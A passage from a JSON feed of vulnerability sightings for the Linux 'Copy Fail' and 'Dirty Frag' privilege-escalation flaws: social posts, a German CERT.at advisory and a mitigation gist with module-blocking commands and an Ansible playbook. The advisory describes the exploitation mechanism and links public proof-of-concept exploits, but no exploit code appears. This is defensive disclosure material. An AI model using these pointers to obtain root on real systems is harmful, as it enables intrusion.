"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/appricot.bsky.social/post/3mldmdol7j22i", "content": "Ah, ffs! Just the other day CopyFail (CVE-2026-31431), now DirtyFlag .. my life is a chin of Linux patches and kernel module blockings these days ...", "creation_timestamp": "2026-05-08T11:19:52.044429Z"}, {"uuid": "5d540071-6522-49ce-99ca-e839cf700a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://fosstodon.org/users/alpinelinux/statuses/116538695628774725", "content": "2 new vulnerabilities similar to coyfail:\n- CVE-2026-31431 (Dirty Frag)- CVE-2026-43284\nhttps://github.com/V4bel/dirtyfrag\nWe're waiting for a release containing the last one before pushing new kernels to aports.\nhttps://github.com/V4bel/dirtyfrag#cleanup mentions a mitigation in the meantime.", "creation_timestamp": "2026-05-08T11:22:57.254090Z"}, {"uuid": "b6f2d74c-0540-4722-857d-b204c243f01a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/claudesjean.bsky.social/post/3mldocmwky52w", "content": "Copy Fail \u2014 CVE-2026-31431", "creation_timestamp": "2026-05-08T11:55:07.293322Z"}, {"uuid": "388650b8-3f48-47f6-b558-eee3fa5395a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mldqhvck5ls2", "content": "Unpatched Linux Kernel Flaw Dirty Frag Grants Root Access Security researchers have disclosed details of a new local privilege escalation vulnerability in the Linux kernel, designated as an unpatch...\n\n#Security #CVE-2026-31431 #Dirty #Frag #Linux #kernel #privilege #escalation #security [\u2026]", "creation_timestamp": "2026-05-08T12:33:52.141679Z"}, {"uuid": "b7489a5e-1f8c-422d-ac95-e98990f2e20d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/5/linux-lpe-dirty-frag-copy-fail-2", "content": "08. Mai 2026\n\nBeschreibung\n\nAm 7. Mai 2026 wurden zwei neue Schwachstellen im Linux-Kernel öffentlich gemacht, die unter den Namen „Dirty Frag“ und „Copy Fail 2: Electric Boogaloo“ bekannt sind. Beide Schwachstellen ermöglichen lokalen, nicht privilegierten Benutzer:innen eine Eskalation auf root. Sie liegen in den In-Place-Entschlüsselungspfaden der Kernel-Module esp4, esp6 (IPsec/ESP) sowie rxrpc und nutzen Page-Cache-Writeprimitives aus, indem über splice(2), sendfile(2) bzw. MSG_SPLICE_PAGES angehängte, nicht kernelseitig privat gehaltene Seiten direkt überschrieben werden.\n\nFunktionsfähige Proof-of-Concept-Exploits (PoCs) sind öffentlich verfügbar und ermöglichen die Eskalation auf root in einem einzigen Aufruf.\n\nCVE-Nummer(n): CVE-2026-43284 (Dirty Frag), N/A (Copy Fail 2)\n\nCVSS Base Score: noch nicht vergeben\n\nAuswirkungen\n\nLokale, nicht privilegierte Angreifer:innen können durch Ausnutzung der Schwachstellen beliebige Inhalte im Page-Cache des Kernels überschreiben und sich dadurch root-Rechte auf dem betroffenen System verschaffen. Es handelt sich um deterministische Logikfehler ohne Race-Condition; bei einem Fehlschlag tritt keine Kernel-Panik auf, die Erfolgswahrscheinlichkeit wird als hoch beschrieben.\n\nDer xfrm-ESP-Pfad setzt die Möglichkeit zur Erstellung von User-Namespaces voraus. Der RxRPC-Pfad benötigt diese Voraussetzung nicht, ist jedoch nur auf Distributionen ausnutzbar, in denen das Modul rxrpc.ko verfügbar bzw. geladen ist. Durch Verkettung beider Pfade lässt sich auf den meisten gängigen Distributionen root erlangen.\n\nBestehende Gegenmaßnahmen gegen „Copy Fail“ (CVE-2026-31431), insbesondere das Sperren des Moduls algif_aead, schützen NICHT gegen „Dirty Frag“ oder „Copy Fail 2“.\n\nBetroffene Systeme\n\nBetroffen sind die meisten aktuellen Linux-Distributionen mit aktiviertem Page-Cache-Pfad in esp4/esp6 bzw. rxrpc. Die zugrundeliegenden Code-Stellen existieren laut Hersteller- und Forscher:innen-Angaben seit Kernel-Commit cac2661c53f3 (xfrm-ESP, Januar 2017) bzw. 2dc334f1a63a (RxRPC, Juni 2023). Die folgende Aufstellung ist daher nicht abschließend; sie führt nur diejenigen Distributionen auf, deren Hersteller die Betroffenheit bisher öffentlich bestätigt haben oder für die der Forscher die Ausnutzung explizit getestet hat:\n\n\n\nUbuntu 24.04 (vom Forscher getestet auf Kernel 6.17)\n\nRed Hat Enterprise Linux 10.1 (vom Forscher getestet); Red Hat hat in RHSB-2026-003 die Betroffenheit zudem für Red Hat OpenShift Container Platform 4 bestätigt\n\nCentOS Stream 10\n\nAlmaLinux 8, 9 und 10 (gepatcht in kernel-4.18.0-553.123.2.el8_10, kernel-5.14.0-611.54.3.el9_7 bzw. kernel-6.12.0-124.55.2.el10_1 und neuer)\n\nFedora 44\n\nopenSUSE Tumbleweed\n\nCloudLinux 7h, 8, 9 und 10 (CloudLinux 7 wird vom Hersteller noch untersucht)\n\nBlueOnyx 5210R, 5211R, 5212R\n\n\nAmazon Linux untersucht laut Sicherheitsbulletin 2026-027-AWS aktuell den genauen Umfang der betroffenen Versionen.\n\nDistributionen, die unprivilegierte User-Namespaces standardmäßig blockieren (z. B. Ubuntu via AppArmor in bestimmten Konfigurationen), sind über den xfrm-ESP-Pfad nicht angreifbar, bleiben aber über den RxRPC-Pfad anfällig, sofern das Modul vorhanden ist.\n\nAbhilfe\n\nZum Zeitpunkt der Veröffentlichung dieser Warnung liegen für die meisten Distributionen noch keine vollständig gepatchten Kernel vor. Der Upstream-Fix für den ESP-Pfad wurde am 7. Mai 2026 in den netdev-Tree aufgenommen (Commit f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4); der RxRPC-Fix ist noch nicht gemergt. Einzelne Distributionen (u. a. AlmaLinux, CloudLinux) haben gepatchte Kernel bzw. KernelCare-Livepatches in Vorbereitung oder bereits in Test bzw. Auslieferung.\n\nCERT.at empfiehlt, die folgenden Maßnahmen umzusetzen:\n\n\n\nSicherheitsaktualisierungen der jeweiligen Distribution einspielen, sobald diese verfügbar sind, und das System neu starten.\n\nBis zur Verfügbarkeit gepatchter Kernel die betroffenen Kernel-Module sperren, sofern sie nicht produktiv benötigt werden. Die Module esp4 und esp6 werden für IPsec-Tunnel (z. B. strongSwan, Libreswan) verwendet; rxrpc wird nahezu ausschließlich von AFS-Clients genutzt. Auf Systemen, die diese Funktionen nicht einsetzen, kann das Sperren der Module ohne Funktionsverlust erfolgen, beispielsweise durch Eintragen entsprechender Regeln in /etc/modprobe.d/ und Entladen aktuell geladener Module.\n\nAuf Hosts, die IPsec-Tunnel terminieren oder weiterleiten, dürfen die Module esp4/esp6 nicht gesperrt werden. In diesem Fall ist die Installation eines gepatchten Kernels bzw. eines Livepatches abzuwarten.\n\n\nMehrschichtige Mitigationen (Modul-Blacklist über modprobe.d sowie zusätzlich modprobe.blacklist=... als Kernel-Parameter) erhöhen die Wirksamkeit, insbesondere gegen ein automatisches Nachladen über Netlink aus User-Namespaces heraus.\n\nHinweis\n\nGenerell empfiehlt CERT.at, sämtliche Software aktuell zu halten und dabei insbesondere auf automatische Updates zu setzen. Regelmäßige Neustarts stellen sicher, dass diese auch zeitnah aktiviert werden.\n\n\n\nInformationsquelle(n):\n\nDirty Frag - Disclosure und PoC durch Hyunwoo Kim (Englisch)https://github.com/V4bel/dirtyfrag\n\nGreg Kroah-Hartman zur CVE-Vergabe auf der oss-security-Mailingliste (Englisch)https://seclists.org/oss-sec/2026/q2/441\n\nCopy Fail 2: Electric Boogaloo - Write-up und PoC (Englisch)https://afflicted.sh/blog/posts/copy-fail-2.html\n\nAlmaLinux: Dirty Frag vulnerability fix is ready for testing (Englisch)https://almalinux.org/blog/2026-05-07-dirty-frag/\n\nCloudLinux: Dirty Frag - Mitigation and Kernel Update (Englisch)https://blog.cloudlinux.com/dirty-frag-mitigation-and-kernel-update\n\nRed Hat: How to mitigate the „Dirty Frag“ vulnerability in OpenShift 4 (RHSB-2026-003) (Englisch)https://access.redhat.com/solutions/7142250\n\nRed Hat Security Bulletin RHSB-2026-003 (Englisch)https://access.redhat.com/security/vulnerabilities/RHSB-2026-003\n\nAmazon: Dirty Frag and other issues in Amazon Linux kernels (Englisch)https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/\n\nBlueOnyx: Security Advisory: Dirty Frag & Copy Fail 2 - Two New Linux LCE Vulnerabilities (Englisch)https://www.blueonyx.it/news/sec-adv-dirtyfrag-copyfail2.html\n\nUpstream-Fix für den ESP-Pfad (netdev/net.git) (Englisch)https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4", "creation_timestamp": "2026-05-08T09:29:25.000000Z"}, {"uuid": "01d37344-5f7c-4f1a-9afc-28b18d963bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rspinternetgroup.bsky.social/post/3mldsc7v6xs2z", "content": "\u3010\u304a\u77e5\u3089\u305b\u3011[RisuPu] Linux\u74b0\u5883\u306b\u304a\u3051\u308b\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\uff08CVE-2026-31431\uff09\u306b\u95a2\u3059\u308b\u3054\u6848\u5185\nrspig.jp/notice/annou...", "creation_timestamp": "2026-05-08T13:06:26.017936Z"}, {"uuid": "62b3883a-9b5f-462e-90d0-8be58104b6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://nsm.no/fagomrader/digital-sikkerhet/nasjonalt-cybersikkerhetssenter/varsler-fra-nsm/ny-alvorlig-sarbarhet-i-linux", "content": "", "creation_timestamp": "2026-05-08T04:06:44.000000Z"}, {"uuid": "5e29fe1d-8ede-4362-acdf-ab5534ff4eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/O_e3myBcoh_AaGdxUcA5YqeGGADBaBeF3XGiX3aOj54Bo8U", "content": "", "creation_timestamp": "2026-05-07T15:00:07.000000Z"}, {"uuid": "4b935acf-c43e-4cff-b133-c27641ce11f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ciq.com/post/3mldvan4kqf26", "content": "Copy Fail patches are available now for every supported Rocky Linux variant from CIQ!\n\nCVE-2026-31431 had a public exploit in circulation within days -- patched kernels across LTS, FIPS, and current variants shipped within the week.\n\nFull response: bit.ly/4u0HhGw #LinuxSecurity #RockyLinux", "creation_timestamp": "2026-05-08T13:59:13.313490Z"}, {"uuid": "620f614a-3c62-427f-9c98-e4dd5e9e1f4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/xvoYgOFnUf5jFw65_bW2FC7fcn6orx4l4LTjm0d68ZkOEzo", "content": "", "creation_timestamp": "2026-05-08T03:00:06.000000Z"}, {"uuid": "7e1692eb-ae8a-4fdb-94e2-0e1271ac113b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3143", "type": "seen", "source": "Telegram/xvoYgOFnUf5jFw65_bW2FC7fcn6orx4l4LTjm0d68ZkOEzo", "content": "", "creation_timestamp": "2026-05-08T03:00:06.000000Z"}, {"uuid": "dc871074-a71c-4ea0-ad80-dbca5d32c26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/vzTACITSxs978bepVF2fAbJ-LA46ia7V8AwPJb289jK3goA", "content": "", "creation_timestamp": "2026-05-07T21:00:05.000000Z"}, {"uuid": "9844571c-29e9-4961-a69b-75b46bf8b31f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ejAET7Wd0n1V5uqKctP5d-vJmqb8O4j5F4lTKyPXLyKbJrU", "content": "", "creation_timestamp": "2026-05-06T03:00:05.000000Z"}, {"uuid": "770724a6-f5f6-4ada-ac80-f7210db2b4cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/yfj8_Wf1r81ZM9XH5mmBYiYd4G1zdIl6xbgawa_XXGScCdQ", "content": "", "creation_timestamp": "2026-05-05T21:00:04.000000Z"}, {"uuid": "20e7285f-f711-4c1a-abd8-5cf720369133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/TOBO1j4X53-mWPhUjqfqsPILi5P8C_iHzeNGcih4hj7jhkY", "content": "", "creation_timestamp": "2026-05-05T15:00:07.000000Z"}, {"uuid": "910d420d-45fc-48b8-bb30-60eecd10e925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31283", "type": "seen", "source": "Telegram/TpD_EhiVvoRRT5pQQyvb-1r61ahWr8WRyHVAuHr5I07s1ek", "content": "", "creation_timestamp": "2026-08-29T23:00:08.703687Z"}, {"uuid": "f09a1afd-18c5-4a80-9926-bfe7ee56c105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/dsiEA15uidVU6KDez4EkzkpuPE2tuEKKJLQ-eeC4Q0mRqFk", "content": "", "creation_timestamp": "2026-05-07T09:00:04.000000Z"}, {"uuid": "ef29a5ce-a251-4d46-ab2c-1e3b31c7fd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/N1Jo8qZWaWReiL_t-N5l6uzcgIVKcO6O8PdoiYgN9aP0HPY", "content": "", "creation_timestamp": "2026-05-07T03:00:06.000000Z"}, {"uuid": "b415af03-95af-4c32-bf0b-0bf2d2d7b8bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/YNBAQ7wY3nDaf6oW9SS_pET1W5P-GdTLvm9dgaO_EDkfw4Y", "content": "", "creation_timestamp": "2026-05-05T09:00:04.000000Z"}, {"uuid": "5915cb4c-3259-42b0-87b4-a4866c7bd606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/qLnk1n5B0PR5yjep7bbwsMJyTwvCWVIASLg9mGkcsDxA1Jk", "content": "", "creation_timestamp": "2026-05-06T21:00:04.000000Z"}, {"uuid": "cf5f50c3-015f-40f9-924d-dec09da0ff8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ZNI-uYyJrm1t-Pzb3CHRhrHrIF7V6AFj0czDxk1WB0iTdAU", "content": "", "creation_timestamp": "2026-05-06T15:00:06.000000Z"}, {"uuid": "1ed30ab1-3d59-42fc-b85b-c4019f9a4183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/nRCd-6n0pDvmfvM7KgbobBK2YcSbDsH8Dcp0n-zDwiT4HOU", "content": "", "creation_timestamp": "2026-05-06T09:00:04.000000Z"}, {"uuid": "5571b4bd-cecd-4183-833c-b59a7ebb8658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s3wu22t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:05.441154Z"}, {"uuid": "57227c9f-ecd1-4046-b85d-586f0135ef97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s46o22t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:06.165171Z"}, {"uuid": "de7122a5-4b38-4192-9ec7-d59bbc299cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s47nc2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:06.878951Z"}, {"uuid": "398b3342-74f3-446e-ad6a-4e4c118ac68a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4amk2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:07.754050Z"}, {"uuid": "2c2e2071-1da5-4762-864b-c641704770f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4aml2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:08.632422Z"}, {"uuid": "eab85636-b155-496d-9852-5a30b78e5762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4blt2t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:09.364994Z"}, {"uuid": "fe9b3854-4e49-47a8-8748-ab2c5b8db96a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4cl32t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:10.157693Z"}, {"uuid": "22af4469-03e4-43d3-a7f3-8d14d15e9580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mldw6s4cl42t", "content": "6/ \ud83d\udd25 Patch now: Palo Alto PAN-OS CVE-2026-0300 (CVSS 9.3) under active exploitation since April 9. Unauthenticated RCE as root. CISA-listed Linux \"Copy Fail\" CVE-2026-31431 due May 15.", "creation_timestamp": "2026-05-08T14:16:10.892616Z"}, {"uuid": "6452fd6f-1b17-4849-940b-603f315e83b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83368", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a MitigationToolkit-ROSN-LR5-Full\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ROSNLR5\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 14:58:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nKernel LPE PoC & Mitigation Toolkit - ROSN-LR5-Full (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T15:00:04.000000Z"}, {"uuid": "c87bbfcb-0d83-4cd2-94ce-797e7a0bf94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/sayem314/6a33676059e6539501c55a978410795d", "content": "Copy Fail is a Linux kernel local privilege escalation in `algif_aead`, part of the AF_ALG userspace crypto API. If a vulnerable host runs untrusted local code, containers, CI jobs, app sandboxes, or shared shell users, treat it as urgent.\n\nThe real fix is a patched kernel from your distribution. The mitigation below blocks the affected module until you can patch and reboot.\n\nSources:\n\n- https://copy.fail/\n- https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available\n- https://security-tracker.debian.org/tracker/CVE-2026-31431\n\n## Quick check\n\n```bash\nuname -r\ndpkg -l 'linux-image*' | grep '^ii'\ndpkg -l kmod | grep '^ii'\ngrep -qE '^algif_aead ' /proc/modules && echo \"algif_aead is loaded\" || echo \"algif_aead is not loaded\"\n```\n\nOn Ubuntu, Canonical also shipped a `kmod` mitigation for affected releases. Still update the kernel when your release has a fixed kernel package.\n\n```bash\nsudo apt update\nsudo apt install --only-upgrade kmod\nsudo apt full-upgrade\nsudo reboot\n```\n\n## Manual mitigation\n\nUse this when you cannot patch immediately, or when you want a fleet-wide safety block while waiting for kernel updates.\n\n```bash\nsudo tee /etc/modprobe.d/disable-algif_aead.conf >/dev/null <<'EOF'\ninstall algif_aead /bin/false\nEOF\n\nsudo modprobe -r algif_aead 2>/dev/null || true\n\ngrep -qE '^algif_aead ' /proc/modules && echo \"algif_aead is still loaded, reboot required\" || echo \"algif_aead is not loaded\"\nmodprobe -n -v algif_aead\n```\n\nExpected `modprobe -n -v algif_aead` output should include:\n\n```text\ninstall /bin/false\n```\n\nIf `algif_aead` is still loaded after `modprobe -r`, reboot the host. If you suspect the host was already exposed to untrusted local code, prefer a reboot after applying the mitigation or kernel update.\n\n## Ansible playbook\n\nSave as `copyfail-mitigate.yml`:\n\n```yaml\n---\n- name: Mitigate Copy Fail CVE-2026-31431\n  hosts: all\n  become: true\n  gather_facts: false\n\n  vars:\n    copyfail_module: algif_aead\n\n  tasks:\n    - name: Block algif_aead from loading\n      ansible.builtin.copy:\n        dest: \"/etc/modprobe.d/disable-{{ copyfail_module }}.conf\"\n        owner: root\n        group: root\n        mode: \"0644\"\n        content: |\n          install {{ copyfail_module }} /bin/false\n      register: copyfail_blacklist\n\n    - name: Unload algif_aead if currently loaded\n      community.general.modprobe:\n        name: \"{{ copyfail_module }}\"\n        state: absent\n      register: copyfail_unload\n      failed_when: false\n\n    - name: Check whether algif_aead is still loaded\n      ansible.builtin.shell: \"grep -qE '^{{ copyfail_module }} ' /proc/modules\"\n      register: copyfail_loaded\n      changed_when: false\n      failed_when: false\n\n    - name: Verify modprobe resolves algif_aead to /bin/false\n      ansible.builtin.command: \"modprobe -n -v {{ copyfail_module }}\"\n      register: copyfail_modprobe_check\n      changed_when: false\n\n    - name: Show mitigation status\n      ansible.builtin.debug:\n        msg:\n          - \"config_changed={{ copyfail_blacklist.changed }}\"\n          - \"module_unload_rc={{ copyfail_unload.rc | default('n/a') }}\"\n          - \"module_loaded={{ copyfail_loaded.rc == 0 }}\"\n          - \"modprobe_check={{ copyfail_modprobe_check.stdout }}\"\n\n    - name: Fail if algif_aead is still loaded\n      ansible.builtin.fail:\n        msg: \"algif_aead is still loaded. Reboot this host to complete mitigation.\"\n      when: copyfail_loaded.rc == 0\n```\n\nExample `inventory.yml`:\n\n```yaml\n---\nall:\n  children:\n    webservers:\n      hosts:\n        web-1:\n          ansible_host: 203.0.113.10\n          ansible_user: ubuntu\n        web-2:\n          ansible_host: 203.0.113.11\n          ansible_user: ubuntu\n    workers:\n      hosts:\n        worker-1:\n          ansible_host: 203.0.113.20\n          ansible_user: debian\n  vars:\n    ansible_become: true\n    ansible_python_interpreter: /usr/bin/python3\n```\n\nRun it:\n\n```bash\nansible-playbook -i inventory.yml copyfail-mitigate.yml\n```\n\nRun only a selected group:\n\n```bash\nansible-playbook -i inventory.yml copyfail-mitigate.yml --limit webservers\n```\n\n## Ansible role-style task\n\nIf you already have a common hardening role, put the module name in group vars:\n\n```yaml\ndisabled_kernel_modules:\n  - algif_aead\n```\n\nThen use this task block:\n\n```yaml\n- name: Block disabled kernel modules from loading\n  ansible.builtin.copy:\n    dest: \"/etc/modprobe.d/disable-{{ item }}.conf\"\n    owner: root\n    group: root\n    mode: \"0644\"\n    content: |\n      install {{ item }} /bin/false\n  loop: \"{{ disabled_kernel_modules | default([]) }}\"\n\n- name: Unload disabled kernel modules if currently loaded\n  community.general.modprobe:\n    name: \"{{ item }}\"\n    state: absent\n  loop: \"{{ disabled_kernel_modules | default([]) }}\"\n  failed_when: false\n```\n\n## What may break\n\nFor most Debian and Ubuntu servers, nothing noticeable. Normal TLS, SSH, LUKS, WireGuard, IPsec, OpenSSL, Docker networking, and web apps do not depend on `algif_aead`.\n\nPossible impact: software explicitly configured to use AF_ALG from userspace, such as OpenSSL with the `afalg` engine enabled or custom apps that open AF_ALG sockets directly. If unsure, check:\n\n```bash\nss -xa | grep -i alg || true\nlsof 2>/dev/null | grep AF_ALG || true\n```\n\n## Remove the manual mitigation later\n\nOnly do this after your running kernel is fixed and you have rebooted into it.\n\n```bash\nsudo rm /etc/modprobe.d/disable-algif_aead.conf\nsudo reboot\n```\n", "creation_timestamp": "2026-05-08T16:18:22.000000Z"}, {"uuid": "3d9ac7c1-e972-4c95-b3a8-8df9f762a6b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.se/2026/05/cert-se-veckobrev-v19.html", "content": "", "creation_timestamp": "2026-05-08T06:10:00.000000Z"}, {"uuid": "6699f4fd-6155-4d2d-b1ea-9371da8c09b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 